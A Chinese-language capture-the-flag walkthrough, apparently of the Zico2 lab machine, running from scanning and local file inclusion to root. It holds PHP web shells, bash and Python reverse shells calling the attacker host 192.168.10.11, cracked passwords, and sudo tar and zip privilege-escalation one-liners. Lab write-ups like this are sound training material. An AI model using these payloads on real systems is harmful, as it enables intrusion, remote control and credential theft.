一、探測靶機IP(進行信息收集)
主機發現
arp-scan -l
nmap -sS -sV -T5 -p- 192.168.10.20 -A
二、進行目錄枚舉
發現dbadmin目錄下有個test_db.php
進入后發現是一個登錄界面,嘗試弱口令,結果是admin,一試就出
得到加密后的密碼
root 653F4B285089453FE00E2AAFAC573414
zico 96781A607F4E9F5F423AC01F0DAB0EBD
hash-identifier
可能為md5加密
得到密碼
root 34kroot34
zico zico2215@
三、進入網頁
把所有能點的都去看一下
看到等于號就測
發現目錄遍歷
dirsearch -u http://192.168.10.20
nikto -h http://192.168.10.20
還發現一個imp目錄
/#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
發現一個wp-config.php,這個文件一般可能存在賬號密碼
嘗試利用php偽協議來進行利用
http://192.168.10.20/view.php?page=php://filter/read=convert.base64-encode/resource=wp-config.php%23
#嘗試其他file://
http://192.168.10.20/view.php?page=file:///var/www/html/wp-config.php
http://192.168.10.20/view.php?page=php://filter/resource=wp-config.php.bak
這些嘗試均失敗,https://www.exploit-db.com/exploits/24044漏洞利用方法
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.11/6666 0>&1'");?>
Type類型改為文本文檔,可以看到上傳成功,并結合前面的目錄遍歷進行反彈shell
http://192.168.10.20/view.php?page=../../../../../usr/databases/shell.php
想直接反彈shell但是失敗了
<?php echo exec('whoami'); ?>
這些都嘗試了都報錯了
<?php exec("/bin/sh -c 'sh -i >& /dev/tcp/192.168.10.11/6666 0>&1'"); ?>
<?php system("/bin/sh -c 'sh -i >& /dev/tcp/192.168.10.11/6666 0>&1'"); ?>
那就拼接
<?php echo system($_GET["cmd"]); ?>
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.11",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
http://192.168.10.20/view.php?page=../../../../../usr/databases/shell.php&cmd=whoami
http://192.168.10.20/view.php?page=../../../../../usr/databases/shell.php&cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.11",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
成功getshell,但是還是不清楚為什么前面不能直接getshell,后面看了配置信息,exec和system函數也沒有被禁用
一開始的有可能是因為
-
命令中轉義符號處理不當(
>&
被PHP或Shell錯誤解析)。 -
目標系統Bash的
/dev/tcp
特性被禁用,導致TCP重定向失敗。 -
PHP執行環境權限不足,無法建立網絡連接。
改用 system($_GET["cmd"])
并通過Python反彈Shell成功,是因為:
-
繞過符號轉義問題:通過URL參數傳遞命令,避免PHP字符串解析干擾。
-
Python的可靠性:Python的
subprocess
和socket
模塊更穩定且不受/dev/tcp
限制。 -
動態執行繞過限制:
$_GET["cmd"]
可能繞過某些靜態代碼檢測機制。
四、提權
建立交互式終端
python -c "import pty; pty.spawn('/bin/bash');"
進去查看一下wp-config.php有沒有密碼
find / -name "wp-config.php" 2>/dev/null
zico
sWfCsfJSPV9H3AmQzw8
find / -perm -4000 -print 2>/dev/null
有su命令可以切換用戶
先查看歷史命令,可以看到這里是利用過公鑰私鑰,還有sudo命令的利用,編輯過to_do文檔
cat to_do.txt
sudo -l
方法一
https://gtfobins.github.io/gtfobins/tar/#sudo
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
成功提權
方法二
https://gtfobins.github.io/gtfobins/zip/#sudo
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
flag
當然還可以進行臟牛提權